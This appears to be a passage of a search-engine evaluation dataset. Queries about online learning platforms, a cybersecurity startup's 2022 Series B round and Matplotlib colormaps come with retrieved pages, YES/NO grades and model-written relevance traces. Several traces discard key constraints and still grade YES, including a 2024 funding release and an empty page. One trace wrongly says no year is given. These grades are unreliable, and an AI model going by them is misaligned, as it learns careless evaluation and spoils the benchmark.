                "model_trace": "Query Decomposition:\n1. {online education platform}: This document describes StackSkills, which is an online education platform -> ([1], SATISFIED)\n2. {offers interactive courses}: The document mentions on-demand courses and course bundles but does not explicitly state if they are interactive -> ([2], UNSURE)\n3. {certifications in in-demand tech skills}: The document mentions valuable industry certifications and courses in tech, business, marketing, etc. -> ([1], SATISFIED)\n4. {founded by a team of former university professors}: The document does not provide any information about the founders of StackSkills -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {online education platform} and {certifications in in-demand tech skills}. Both of these subcomponents are satisfied. The document does not provide information about the interactivity of the courses or the founders, but these do not affect the overall assessment since they are tagged [2] and [0] respectively. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "11 Best Online Learning Platforms in 2024",
                "url": "https://www.linkedin.com/pulse/best-online-learning-platforms-jennifer-broflowski-awjte",
                "published_date": null,
                "text": "Welcome to the riveting world of eLearning platforms, a space that\u2019s transforming the way we learn, grow, and evolve. In this review, we\u2019ll be journeying into the heart of some of the best platforms for online learning that I\u2019ve personally tested. What are the defining features that set each platform apart? We\u2019re about to uncover them!\n        \n  \n                \n    \n          With a focus on five key areas \u2013 prices, services provided, customer service, quality of deliverables, and guarantees, each platform was meticulously evaluated. I tried and realized that no stone was left unturned in this comprehensive and authentic exploration.\n        \n  \n                \n    \n          Among the platforms we\u2019ll delve into are:\n        \n  \n                \n    \n        \n        \n      Coursera   with its varied academic courses; \n      edX  , the open-source giant; \n      Skillshare  , the hub for creatives; \n      CreativeLive  , where creativity meets academia; \n      Udemy  , particularly its feature-packed Udemy Business offering; \n      Linux Foundation  , the sanctuary for open-source enthusiasts; \n      MasterClass  , the home of celebrity-led classes; \n      DataCamp  , the playground for data science nerds; \n      Udacity  , the realm of tech-specific content; \n      Codecademy  , a coder\u2019s paradise; \n      GoSkills  , is a platform redefining Excel and othe Office courses. \n      \n  \n        \n    \n  \n                \n    \n          Each brings something unique to the table, and we\u2019ll dissect these features to help you find your ideal learning space.\n        \n  \n                \n    \n          Fasten your seatbelts \u2013 this is going to be a thrilling ride!\n        \n  \n                \n    \n          Best eLearning Platforms \n     \n  \n                \n    \n          In my experience, eLearning platforms have revolutionized how we acquire knowledge, skills, and competencies. They\u2019ve opened the doors to a world of learning opportunities, making education accessible and flexible to everyone regardless of location or ",
                "model_trace": "Query Decomposition:\n1. {online education platform}: The document discusses various online learning platforms -> ([1], SATISFIED)\n2. {offers interactive courses and certifications in in-demand tech skills}: The document mentions platforms like DataCamp, Udacity, and Codecademy, which are known for offering interactive courses and certifications in tech skills -> ([1], SATISFIED)\n3. {founded by a team of former university professors}: The document does not provide information about the founders of any of the platforms -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {online education platform} and {offers interactive courses and certifications in in-demand tech skills}. Both of these subcomponents are satisfied. The document does not provide information on the founding teams, but this does not affect the evaluation since it is tagged as [0]. YES."
            },
            {
                "grade": "YES",
                "title": "Skillsoft Percipio - Immersive Online Learning Platform",
                "url": "https://www.skillsoft.com/meet-skillsoft-percipio",
                "published_date": null,
                "text": "Meet Skillsoft Percipio\n Skillsoft\u00e2\u0080\u0099s personalized, immersive, and accessible learning platform.\n \n  \n REQUEST A DEMO\n \n \n \n Learn More\n \n \n  \n \n \n \n \n  \n  \n PROPEL YOUR WORKFORCE TRANSFORMATION STRATEGY\n  \n Know where learners are today \u00e2\u0080\u0094 and how to prepare them for tomorrow.\n         \n ASSESS, FORTIFY, INDEX, AND TRACK IN-HOUSE SKILLS\n   Align the skills of your workforce with the strategic needs of your business. Skill Benchmarks enable leaders to make informed, data-driven decisions based on a talent inventory to put the right people into the right roles at the right time.           IT\u00e2\u0080\u0099S ALL ABOUT THE ASPIRE JOURNEY  Access, assign, and customize more than 1,000 expertly curated, role- and skill-based learning paths. Along the way, learners can test progress with assessments and hands-on practice labs.         \n CUSTOMIZE THE EXPERIENCE\n  Design and assign live and on-demand learning programs with your or another provider\u00e2\u0080\u0099s content. Measure impact along the way with dashboards and reports.   \n INTEGRATE EXISTING PLATFORMS\n  Deliver Skillsoft content in your LMS or LXP for the best possible experience. Admins will save time with automated content updates and curation.      \n SKILLSOFT PERCIPIO BY THE NUMBERS\n      92% certification pass rate for learners who prepare for exams using Skillsoft Percipio   93% confidence rate in effectively performing critical leadership practices for leaders using Percipio     \n ?\n   \n WHAT CAN SKILLSOFT PERCIPIO DO FOR YOUR ORGANIZATION?\n          \n SUCCESS STORY\n   How ACS Solutions transformed its workforce in 90 days   \"Skillsoft helped\u00e2\u0080\u00a6build a culture of self-motivated learners faster than we thought was possible. Within three months, 95% of our employees were using the platform. Percipio\u00e2\u0080\u0099s easy access of desirable content \u00e2\u0080\u0094 including a huge library of technical courses\u00e2\u0080\u00a6upskilled our team on modern tools and practices.\u00e2\u0080\u009d   Anju Singh, Associate Director, HR, ACS Solutions           \n CASE STUDY\n   Achieving 1323% ROI in two weeks  By upskilling employees and ",
                "model_trace": "Query Decomposition:\n1. {online education platform}: The document describes Skillsoft Percipio, which is an online learning platform -> ([1], SATISFIED)\n2. {offers interactive courses and certifications in in-demand tech skills}: The document mentions a huge library of technical courses and a 92% certification pass rate, indicating it offers interactive courses and certifications in tech skills -> ([1], SATISFIED)\n3. {founded by a team of former university professors}: The document does not provide any information about the founders of Skillsoft Percipio -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {online education platform} and {offers interactive courses and certifications in in-demand tech skills}. Both of these subcomponents are satisfied. The subcomponent about the founders is not addressed, but it does not affect the evaluation since it is tagged [0]. \n\nYES"
            },
            {
                "grade": "YES",
                "title": "The Best Online Course Providers of 2024 - Intelligent",
                "url": "https://www.intelligent.com/best-online-courses/",
                "published_date": null,
                "text": "Higher education is changing, with students questioning the value of a traditional bachelor\u2019s or master\u2019s degree or finding that they need to learn new skills to keep up with changing technologies. Many students are turning to online courses (also known as Massive Open Online Courses, or MOOCs) as a cost-effective, flexible way to gain new knowledge, start a different career path, or explore an area of interest. With so many platforms offering online courses, it can take a lot of work to know which ones are actually worth your time and money, so we created this list of the best online course providers.\n \n EdX \u2013 Best Course Variety\n FutureLearn \u2013 Best for Accelerated Courses\n Coursera \u2013 Best for Credentials\n Udacity \u2013 Best for IT Courses\n Codecademy \u2013 Best for Coding Courses\n HubSpot Academy \u2013 Best for Marketing Courses\n Udemy \u2013 Best for Business Courses\n LinkedIn Learning \u2013 Best for Creative Courses\n The Great Courses \u2013 Best for Lifelong Learners\n Domestika \u2013 Best for Visual Art Courses\nHow We Chose the Best Online Course Providers\nWe evaluated over a dozen popular online course providers to find the best ones, creating a list of top-quality educational platforms that can help students achieve their professional and personal goals.\nWe dug deep into online course providers, reviewing their websites, course catalogs, sample lessons and study materials, and reviews from third-party sites such as Trustpilot, G2, and Facebook Reviews. Online course providers were evaluated based on four key criteria:\nCourse offerings\nOnline courses attract a diverse student population, and we wanted to ensure that the providers on our list cater to a wide variety of needs. We considered what providers offer in terms of areas of study, course levels (beginner, intermediate, advanced), and what program options are available (individual courses, degrees, certificates). Even providers that focus on more niche areas, like Codecademy or Domestika, give students plenty of opportunities for different skills within their respective fields. Our",
                "model_trace": "Query Decomposition:\n1. {online education platform}: This document lists various online education platforms -> ([1], SATISFIED)\n2. {offers interactive courses}: The document mentions that these platforms offer online courses, but does not specify if they are interactive -> ([0], UNSURE)\n3. {offers certifications in in-demand tech skills}: The document mentions that platforms like Coursera and Udacity offer credentials and IT courses, which likely include certifications in in-demand tech skills -> ([2], SATISFIED)\n4. {founded by a team of former university professors}: The document does not mention the founders of any of the listed platforms -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {online education platform} and {offers certifications in in-demand tech skills}. Both of these subcomponents are satisfied by the document. YES."
            }
        ]
    },
    {
        "query": "What cybersecurity startup that specializes in cloud-based threat detection and response solutions raised a Series B funding round of $50 million in 2022?",
        "grid_pos": [
            1,
            4
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and provide relevant information about innovative technology startups and companies. The queries cover a range of industries like AI, robotics, logistics, education, and cybersecurity, requiring knowledge of current trends and developments in the startup ecosystem. The queries are specific and detailed, yet open-ended enough to allow Exa to demonstrate its ability to comprehend complex queries and retrieve appropriate information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Home - Skyhawk Security",
                "url": "https://skyhawk.security/",
                "published_date": "2022-11-29",
                "text": "Find\nStatic and Dynamic Activities\nUses rule-based and ML-based detectors to understand personalized, relevant behavior in \u2018peacetime\u2019 and find contextual threats in runtime.\n\nFocus\nRuntime Hub\nNo scanning, no agents \u2013 correlates logs and activities from any cloud, any source for live detection and response.\n\nFix\nThreat Detection and Response\n Realerts are recommendations based on related events created on a storyline mitigating false positives and saving the SOC team\u2019s time.\n\nCDR\nCloud Detection and Response\nDetect malicious behavior by learning over time to focus on not what is suspicious, but what is suspicious and relevant for You.\nCIEM\nCloud Infrastructure Entitlement Management\nExtend zero trust beyond basic user access visibility \u2013 to focus only on access attempts that represent anomalous behavior.\nCSPM\nCloud Security Posture Management\nFree compliance verification, governance enforcement, misconfiguration detection, and everything you expect from CSPM.\n\nWe saved thousands of dollars when Skyhawk correlated a series of suspicious events in an Attack Sequence and alerted us in real-time before data was exfiltrated. Since the issue involved standard web ports, our other security tools missed it. Adding CDR to our security stack has proven time and again to be critical for us.\n\nDeputy CISO\nTechnology Company\n\nPress Release Radware Launches Spinoff Skyhawk Security\nRadware spins off its Cloud Native Protector (CNP) business and forms Skyhawk Security. Tiger Global Management makes a $35 million investment.\n\nBlog What the Uber Breach Verdict Means for CISOs in the US\nCan already beleaguered CISOs now add possible legal charges to their smorgasbord of job considerations? Read more\u2026\n\nBlog 5 Reasons Why CSPM Tools are Not Enough\nHere are the top 5 reasons why CPSM tools are not enough:",
                "model_trace": "Query Decomposition:\n1. {Cybersecurity startup}: Skyhawk Security is a cybersecurity company -> ([1], SATISFIED)\n2. {Specializes in cloud-based threat detection and response solutions}: The document mentions that Skyhawk Security provides cloud detection and response (CDR) and cloud security posture management (CSPM) solutions, which are related to cloud-based threat detection and response -> ([1], SATISFIED)\n3. {Raised a Series B funding round of $50 million in 2022}: The document mentions a $35 million investment from Tiger Global Management but does not specify a Series B funding round or a $50 million amount -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Cybersecurity startup} and {Specializes in cloud-based threat detection and response solutions}, both of which are satisfied. The funding round details are not provided, but this does not affect the evaluation since it is tagged [0]. YES."
            },
            {
                "grade": "YES",
                "title": "Gem Security | Cloud Detection and Response",
                "url": "https://www.gem.security/",
                "published_date": "2023-08-23",
                "text": "",
                "model_trace": "Query Decomposition:\n1. {cybersecurity startup}: The document is about Gem Security, which is a cybersecurity startup -> ([1], SATISFIED)\n2. {specializes in cloud-based threat detection and response solutions}: The title mentions \"Cloud Detection and Response,\" indicating specialization in cloud-based threat detection and response solutions -> ([1], SATISFIED)\n3. {raised a Series B funding round of $50 million in 2022}: The document does not provide any information about funding rounds or financial details -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {cybersecurity startup} and {specializes in cloud-based threat detection and response solutions}, both of which are satisfied. The subcomponent about the Series B funding round is tagged [0] and thus ignored in the final evaluation. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Muninn - AI-based Cyber Security",
                "url": "https://www.muninn.ai/",
                "published_date": "2023-01-01",
                "text": "AI-poweredCyber Security Understands your business.Maximizes business continuity. In Norse mythology the raven Muninn oversees the world and reports important events back to the god Odin. The Muninn AI platform oversees your entire digital infrastructure and protects critical business assets from disruptive cyber-attacks. Explore our technology \u00e2\u0086\u0092 Self-learning Cyber Security Trusted to protect critical infrastructure, Muninn AI is a self-learning cyber-AI that autonomously detects and responds to novel threats.Organizations of all sizes and across all industries rely on Muninn to detect and stop the most sophisticated cyber-attacks in real time. Blocks Ransomwarein Real Time Every day, Muninn detects and neutralizes fast-moving ransomware attacks. Cyber-AI is the only technology capable of detecting and surgically responding to the newest strains of ransomware, while ensuring that business operations continue uninterrupted. Learn how to protect against Ransomware \u00e2\u0086\u0092 Protects the Remote Workforce Business activities often take place outside the corporate network, rendering the traditional network perimeter obsolete. Muninn protects all digital environments, including cloud, SaaS, and remote endpoints off the VPN. Protect your remote workforce \u00e2\u0086\u0092 Learn more about how Muninn AI is applied in different areas Cyber criminals constantly deploy new and increasingly sophisticated methods to identify and exploit vulnerabilities. Security teams need AI to autonomously block tomorrow\u00e2\u0080\u0099s machine-speed cyber threats. Muninn AI Prevent \u00c2 fights back against cyber-attacks in seconds \u00e2\u0080\u0093 without disrupting IT-operations. Provides 24/7 protection when your team cannot react fast enough. Learn more about Muninn AI Prevent \u00e2\u0086\u0092 Read some of our Customer Cases",
                "model_trace": "Query Decomposition:\n1. {cybersecurity startup}: The document is about Muninn, which is a cybersecurity company -> ([1], SATISFIED)\n2. {specializes in cloud-based threat detection and response solutions}: The document mentions that Muninn protects digital environments including cloud, SaaS, and remote endpoints, indicating it specializes in cloud-based threat detection and response solutions -> ([1], SATISFIED)\n3. {raised a Series B funding round of $50 million in 2022}: The document does not provide any information about funding rounds or financial details -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {cybersecurity startup} and {specializes in cloud-based threat detection and response solutions}. Both of these subcomponents are satisfied. However, the document does not provide information about the Series B funding round, which is crucial to fully answering the query. Despite this, the document provides significant relevant information about the company and its specialization.\n\nFinal Decision: YES"
            },
            {
                "grade": "YES",
                "title": "Todyl Raises $50M in Series B Funding: Expands Security Platform ...",
                "url": "https://www.todyl.com/news/todyl-raises-50m-in-series-b-funding",
                "published_date": null,
                "text": "DENVER, CO - March 7, 2024 - Todyl, an industry-leading security and networking company, announced today it closed a $50 Million Series B investment round led by Base10 Partners with participation from Anthos Capital, Tech Operators, and StoneMill Ventures. The Series B funding will support Todyl\u2019s mission of revolutionizing cybersecurity with an all-in-one security platform that empowers IT professionals with the tools, insights, and automation needed to defend against ever-changing threats. \u201cSmall and medium businesses are facing sophisticated cyber threats at an unprecedented frequency. The cost and complexity have kept the capabilities required to defend against ever-changing tactics and adversaries in the hands of large enterprises,\u201d said John Nellen, Founder and CEO at Todyl. \u201cOur revolutionary, cloud-first platform levels the playing field for businesses of all sizes. We purpose-built our platform to utilize a single agent that delivers the capabilities of multiple point solutions. It\u2019s easy-to-use, cost-effective, and modular, empowering IT professionals to effectively prevent, detect, and respond to modern threats across their entire environment\u2014SaaS, cloud, data center, office, and remote.\u201d Todyl is the world&#39;s leading small and medium business cybersecurity platform, uniquely consolidating Secure Access Service Edge (SASE), Security Information &amp; Event Management (SIEM), Managed eXtended Detection &amp; Response (MXDR), Endpoint Security (EDR/NGAV), Security Orchestration, Automation &amp; Response (SOAR), and Governance, Risk &amp; Compliance (GRC). With the addition of SOAR, Todyl further empowers businesses to execute rapid, automated response actions across endpoints and Microsoft 365. The new module serves as a springboard for future developments that will equip businesses with automation, orchestration, and response actions to quickly address threats. \u201cWe got excited about Todyl as it has positioned itself as a credible security leader on the same plane as CrowdStrike and others,\u201d said Ja",
                "model_trace": "Query Decomposition:\n1. {cybersecurity startup}: Todyl is described as an industry-leading security and networking company, which fits the description of a cybersecurity startup -> ([1], SATISFIED)\n2. {specializes in cloud-based threat detection and response solutions}: The content mentions Todyl's cloud-first platform and various security capabilities, including detection and response solutions -> ([1], SATISFIED)\n3. {raised a Series B funding round of $50 million}: The document clearly states that Todyl raised a $50 million Series B investment round -> ([1], SATISFIED)\n4. {in 2022}: The document does not specify the year 2022 for the Series B funding round -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {cybersecurity startup}, {specializes in cloud-based threat detection and response solutions}, and {raised a Series B funding round of $50 million}, all of which are satisfied. The subcomponent {in 2022} is tagged [0] and does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Networking and cybersecurity startup Todyl raises $50M for all-in ...",
                "url": "https://siliconangle.com/2024/03/07/networking-cybersecurity-startup-todyl-raises-50m-one-modular-platform/",
                "published_date": null,
                "text": "Networking and cybersecurity startup Todyl raises $50M for all-in-one modular platform\t\n \n \n Networking and security startup\u00a0  Todyl Inc.  \u00a0said today it has raised $50 million in new funding to grow its cybersecurity platform that enables companies to combat threats and expand its global presence. \n Base10 Partners led the Series B investment round with participation from existing investors Anthos Capital, Tech Operators and StoneMill Ventures. This funding brings the total raised by the company to $83.8 million following the company bringing in\u00a0  $28 million  \u00a0from a Series A round in 2022 led by Anthos Capital. \n Founded in 2015, Todyl offers a network and security cloud-first platform that unifies multiple cybersecurity segments using a single-agent and modular approach for medium and small businesses. It consolidates secure access and edge security, security information and event management, managed extended detection and response, endpoint security, security orchestration, and governance risk and compliance. \n Recently, Todyl added security orchestration, automation and response, or SOAR, to its cybersecurity technology stack. SOAR is a set of tools that help reduce the amount of time it takes to detect and respond to cyberattacks by automating responses and handling the remediation of common security threats automatically. The system can also escalate uncommon or unknown threats to the security team rapidly with necessary metrics so that they can get off the ground quickly. \n \u201cSmall and medium businesses are facing sophisticated cyberthreats at an unprecedented frequency,\u201d said John Nellen, founder and chief executive of Todyl. \u201cThe cost and complexity have kept the capabilities required to defend against ever-changing tactics and adversaries in the hands of large enterprises.\u201d \n Nellen explained that the platform is purpose-built to use single-agent operational capabilities to reduce costs. Having multiple agents competing for resources on a single processor can hinder performance, the company claims, whi",
                "model_trace": "Query Decomposition:\n1. {cybersecurity startup}: The document is about a cybersecurity startup, Todyl -> ([1], SATISFIED)\n2. {specializes in cloud-based threat detection and response solutions}: Todyl offers a network and security cloud-first platform that includes managed extended detection and response, which fits this subcomponent -> ([1], SATISFIED)\n3. {raised a Series B funding round of $50 million}: The document mentions that Todyl raised $50 million in a Series B funding round -> ([1], SATISFIED)\n4. {in 2022}: The document does not specify the exact year of the Series B funding round, but it mentions that the Series A round was in 2022 -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are satisfied, and the document provides detailed information about Todyl's funding and cybersecurity solutions. YES."
            },
            {
                "grade": "NO",
                "title": "VC REPORT: Cybersecurity Venture Capital Deal Flow",
                "url": "https://cybersecurityventures.com/cybersecurity-venture-capital-vc-deals/",
                "published_date": null,
                "text": "\u00a9 2022 Cybersecurity Ventures. All rights reserved. Federal copyright law prohibits unauthorized reproduction of this content by any means and imposes fines up to $150,000 for violations. Reproduction in whole or in part in any form or medium without expressed written permission of Cybersecurity Ventures is prohibited. \n\t   All rights reserved Cybersecurity Ventures \u00a9 2022",
                "model_trace": "Query Decomposition:\n1. {cybersecurity startup}: The document is about cybersecurity venture capital deals, likely including startups -> ([1], SATISFIED)\n2. {specializes in cloud-based threat detection and response solutions}: The document does not provide specific information about the specializations of the startups mentioned -> ([0], UNSURE)\n3. {raised a Series B funding round of $50 million in 2022}: The document does not provide specific information about funding rounds or amounts -> ([0], UNSURE)\n\nAssessment: The document only satisfies the subcomponent related to cybersecurity startups. It does not provide specific information on specializations or funding details. NO."
            }
        ]
    },
    {
        "query": "How do I create a custom Matplotlib colormap that goes from blue to red, with green in the middle?",
        "grid_pos": [
            1,
            5
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a diverse set of topics including data visualization, machine learning, web scraping, containerization, and recommender systems. They require a deep understanding of various programming concepts, libraries, and techniques to answer effectively. The queries are specific and detailed, testing the search engine's ability to understand complex information needs and provide relevant, high-quality resources."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Creating a colormap from a list of colors#",
                "url": "https://matplotlib.org/stable/gallery/color/custom_cmap.html",
                "published_date": "2002-01-01",
                "text": "Note\nClick here\nto download the full example code\n\nFor more detail on creating and manipulating colormaps see\nCreating Colormaps in Matplotlib.\nCreating a colormap from a list of colors\ncan be done with the LinearSegmentedColormap.from_list method. You must\npass a list of RGB tuples that define the mixture of colors from 0 to 1.\n\nCreating custom colormaps# \nIt is also possible to create a custom mapping for a colormap. This is\naccomplished by creating dictionary that specifies how the RGB channels\nchange from one end of the cmap to the other.\nExample: suppose you want red to increase from 0 to 1 over the bottom\nhalf, green to do the same over the middle half, and blue over the top\nhalf. Then you would use:\n cdict = {\n 'red': (\n (0.0, 0.0, 0.0),\n (0.5, 1.0, 1.0),\n (1.0, 1.0, 1.0),\n ),\n 'green': (\n (0.0, 0.0, 0.0),\n (0.25, 0.0, 0.0),\n (0.75, 1.0, 1.0),\n (1.0, 1.0, 1.0),\n ),\n 'blue': (\n (0.0, 0.0, 0.0),\n (0.5, 0.0, 0.0),\n (1.0, 1.0, 1.0),\n )\n}\n\nIf, as in this example, there are no discontinuities in the r, g, and b\ncomponents, then it is quite simple: the second and third element of\neach tuple, above, is the same -- call it \"y\". The first element (\"x\")\ndefines interpolation intervals over the full range of 0 to 1, and it\nmust span that whole range. In other words, the values of x divide the\n0-to-1 range into a set of segments, and y gives the end-point color\nvalues for each segment.\nNow consider the green, cdict['green'] is saying that for:\n\n0 <= x <= 0.25, y is zero; no green. \n 0.25 < x <= 0.75, y varies linearly from 0 to 1. \n 0.75 < x <= 1, y remains at 1, full green.\n\nIf there are discontinuities, then it is a little more complicated. Label the 3\nelements in each row in the cdict entry for a given color as (x, y0,\ny1). Then for values of x between x[i] and x[i+1] the color value\nis interpolated between y1[i] and y0[i+1].\nGoing back to a cookbook example:\n cdict = {\n 'red': (\n (0.0, 0.0, 0.0),\n (0.5, 1.0, 0.7),\n (1.0, 1.0, 1.0),\n ),\n 'green': (\n (0.0, 0.0, 0.0),\n (0.5, 1.0, 0.0),\n (1.0, 1.0, 1.0),\n ),\n 'blue': (",
                "model_trace": "Query Decomposition:\n1. {How to create a custom Matplotlib colormap}: The document provides detailed instructions on creating custom colormaps in Matplotlib using the `LinearSegmentedColormap.from_list` method and a dictionary to specify RGB channels -> ([1], SATISFIED)\n2. {Colormap that goes from blue to red, with green in the middle}: The document includes an example of creating a colormap with specific color transitions, including how to set up the green channel to appear in the middle -> ([1], SATISFIED)\n\nAssessment: The document provides comprehensive information on how to create a custom Matplotlib colormap, including an example that closely matches the user's requirements for a colormap transitioning from blue to red with green in the middle. YES."
            },
            {
                "grade": "YES",
                "title": "Creating Colormaps in Matplotlib#",
                "url": "https://matplotlib.org/stable/tutorials/colors/colormap-manipulation.html",
                "published_date": "2002-01-01",
                "text": "Note\nClick here\nto download the full example code\n\nMatplotlib has a number of built-in colormaps accessible via\n matplotlib.colormaps . There are also external libraries like\npalettable that have many extra colormaps.\nHowever, we often want to create or manipulate colormaps in Matplotlib.\nThis can be done using the class ListedColormap or\n LinearSegmentedColormap .\nSeen from the outside, both colormap classes map values between 0 and 1 to\na bunch of colors. There are, however, slight differences, some of which are\nshown in the following.\nBefore manually creating or manipulating colormaps, let us first see how we\ncan obtain colormaps and their colors from existing colormap classes.\n\nGetting colormaps and accessing their values# \nFirst, getting a named colormap, most of which are listed in\nChoosing Colormaps in Matplotlib, may be done using matplotlib.colormaps ,\nwhich returns a colormap object. The length of the list of colors used\ninternally to define the colormap can be adjusted via Colormap.resampled .\nBelow we use a modest value of 8 so there are not a lot of values to look at.\nThe object viridis is a callable, that when passed a float between\n0 and 1 returns an RGBA value from the colormap:\n (0.122312, 0.633153, 0.530398, 1.0)\n\nListedColormap# \n ListedColormap s store their color values in a .colors attribute.\nThe list of colors that comprise the colormap can be directly accessed using\nthe colors property,\nor it can be accessed indirectly by calling viridis with an array\nof values matching the length of the colormap. Note that the returned list\nis in the form of an RGBA Nx4 array, where N is the length of the colormap.\n viridis.colors [[0.267004 0.004874 0.329415 1. ]\n [0.275191 0.194905 0.496005 1. ]\n [0.212395 0.359683 0.55171 1. ]\n [0.153364 0.497 0.557724 1. ]\n [0.122312 0.633153 0.530398 1. ]\n [0.288921 0.758394 0.428426 1. ]\n [0.626579 0.854645 0.223353 1. ]\n [0.993248 0.906157 0.143936 1. ]]\nviridis(range(8)) [[0.267004 0.004874 0.329415 1. ]\n [0.275191 0.194905 0.496005 1. ]\n [0.212395 0.359683 0.5517",
                "model_trace": "Query Decomposition:\n1. {How to create a custom Matplotlib colormap}: This document provides information on creating or manipulating colormaps in Matplotlib using classes like ListedColormap and LinearSegmentedColormap -> ([1], SATISFIED)\n2. {Colormap that goes from blue to red, with green in the middle}: The document does not explicitly mention creating a colormap with these specific colors -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponent about creating custom colormaps in Matplotlib. Although it does not provide a specific example of a colormap that transitions from blue to red with green in the middle, it provides the necessary tools and methods to achieve this. Therefore, it is useful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Custom colormaps for Matlab and Matplotlib",
                "url": "https://jdherman.github.io/colormap/",
                "published_date": null,
                "text": "Create a custom colormap by dragging points on the RGB intensity curves.\n\nBring to Front:\n\nSwap:\n\nFlip:\n\nCopy your colormap\n\nNumber of Colors:\n\nStyle:\n\nMatrix\n\nPlaintext\n\nFormat:\n\nRGB\n\nCMYK\n\nHex\n\n% Usage: (\"C\" is color matrix)\ncolormap(C/255); % in matlab\nimport matplotlib as mpl # in python\ncm = mpl.colors.ListedColormap(C/255.0)\nplt.imshow(..., cmap=cm) # for example\n\nOr, copy a 256-color preset:\n\nblues\n\ndawn\n\ndusk\n\nfire\n\ngolds\n\ngrays\n\ngreens\n\nice\n\nkryptonite\n\npurples\n\nredblue\n\nreds\n\nseashore\n\nteals",
                "model_trace": "Query Decomposition:\n1. {create a custom Matplotlib colormap}: This document provides information on creating custom colormaps for Matplotlib -> ([1], SATISFIED)\n2. {colormap that goes from blue to red, with green in the middle}: The document does not explicitly mention how to create a colormap that transitions specifically from blue to red with green in the middle -> ([0], UNSURE)\n\nAssessment: The document provides general information on creating custom colormaps in Matplotlib, which satisfies the first subcomponent. However, it does not specifically address the creation of a colormap that transitions from blue to red with green in the middle. Since the relevant subcomponent is satisfied and the other subcomponent is tagged [0], the document is helpful for the user. YES."
            },
            {
                "grade": "YES",
                "title": "Creating a colormap from a list of colors",
                "url": "https://matplotlib.org/stable/gallery/color/custom_cmap.html",
                "published_date": null,
                "text": "Note\nClick here\nto download the full example code\nFor more detail on creating and manipulating colormaps see\nCreating Colormaps in Matplotlib.\nCreating a colormap from a list of colors\ncan be done with the  LinearSegmentedColormap.from_list  method. You must\npass a list of RGB tuples that define the mixture of colors from 0 to 1.\nCreating custom colormaps# \nIt is also possible to create a custom mapping for a colormap. This is\naccomplished by creating dictionary that specifies how the RGB channels\nchange from one end of the cmap to the other.\nExample: suppose you want red to increase from 0 to 1 over the bottom\nhalf, green to do the same over the middle half, and blue over the top\nhalf. Then you would use:\n cdict = {\n 'red': (\n (0.0, 0.0, 0.0),\n (0.5, 1.0, 1.0),\n (1.0, 1.0, 1.0),\n ),\n 'green': (\n (0.0, 0.0, 0.0),\n (0.25, 0.0, 0.0),\n (0.75, 1.0, 1.0),\n (1.0, 1.0, 1.0),\n ),\n 'blue': (\n (0.0, 0.0, 0.0),\n (0.5, 0.0, 0.0),\n (1.0, 1.0, 1.0),\n )\n}\n \nIf, as in this example, there are no discontinuities in the r, g, and b\ncomponents, then it is quite simple: the second and third element of\neach tuple, above, is the same -- call it \"y\". The first element (\"x\")\ndefines interpolation intervals over the full range of 0 to 1, and it\nmust span that whole range. In other words, the values of x divide the\n0-to-1 range into a set of segments, and y gives the end-point color\nvalues for each segment.\nNow consider the green, cdict['green'] is saying that for:\n 0 &lt;= x &lt;= 0.25, y is zero; no green. \n 0.25 &lt; x &lt;= 0.75, y varies linearly from 0 to 1. \n 0.75 &lt; x &lt;= 1, y remains at 1, full green. \nIf there are discontinuities, then it is a little more complicated. Label the 3\nelements in each row in the cdict entry for a given color as (x, y0,\ny1). Then for values of x between x[i] and x[i+1] the color value\nis interpolated between y1[i] and y0[i+1].\nGoing back to a cookbook example:\n cdict = {\n 'red': (\n (0.0, 0.0, 0.0),\n (0.5, 1.0, 0.7),\n (1.0, 1.0, 1.0),\n ),\n 'green': (\n (0.0, 0.0, 0.0),\n (0.5, 1.0, 0.0),\n (1.0, 1.0, 1",
                "model_trace": "Query Decomposition:\n1. {How to create a custom Matplotlib colormap}: The document provides detailed instructions on creating custom colormaps in Matplotlib -> ([1], SATISFIED)\n2. {Colormap that goes from blue to red, with green in the middle}: The document includes an example of creating a colormap with specific RGB values, which can be adapted to create a colormap going from blue to red with green in the middle -> ([2], SATISFIED)\n\nAssessment: The document provides the necessary information and examples to create a custom Matplotlib colormap that goes from blue to red, with green in the middle. YES."
            },
            {
                "grade": "YES",
                "title": "Creating Colormaps in Matplotlib",
                "url": "https://matplotlib.org/3.1.0/tutorials/colors/colormap-manipulation.html",
                "published_date": null,
                "text": "Matplotlib has a number of built-in colormaps accessible via\n matplotlib.cm.get_cmap . There are also external libraries like\npalettable that have many extra colormaps.\nHowever, we often want to create or manipulate colormaps in Matplotlib.\nThis can be done using the class  ListedColormap  and a Nx4 numpy array of\nvalues between 0 and 1 to represent the RGBA values of the colormap. There\nis also a  LinearSegmentedColormap  class that allows colormaps to be\nspecified with a few anchor points defining segments, and linearly\ninterpolating between the anchor points.\nGetting colormaps and accessing their values\u00b6 \nFirst, getting a named colormap, most of which are listed in\nChoosing Colormaps in Matplotlib requires the use of\n matplotlib.cm.get_cmap , which returns a\n matplotlib.colors.ListedColormap  object. The second argument gives\nthe size of the list of colors used to define the colormap, and below we\nuse a modest value of 12 so there are not a lot of values to look at.\nOut:\n &lt;matplotlib.colors.ListedColormap object at 0x7f7b193e6860&gt;\n \nThe object viridis is a callable, that when passed a float between\n0 and 1 returns an RGBA value from the colormap:\nOut:\n (0.119512, 0.607464, 0.540218, 1.0)\n \nThe list of colors that comprise the colormap can be directly accessed using\nthe colors property,\nor it can be accessed indirectly by calling viridis with an array\nof values matching the length 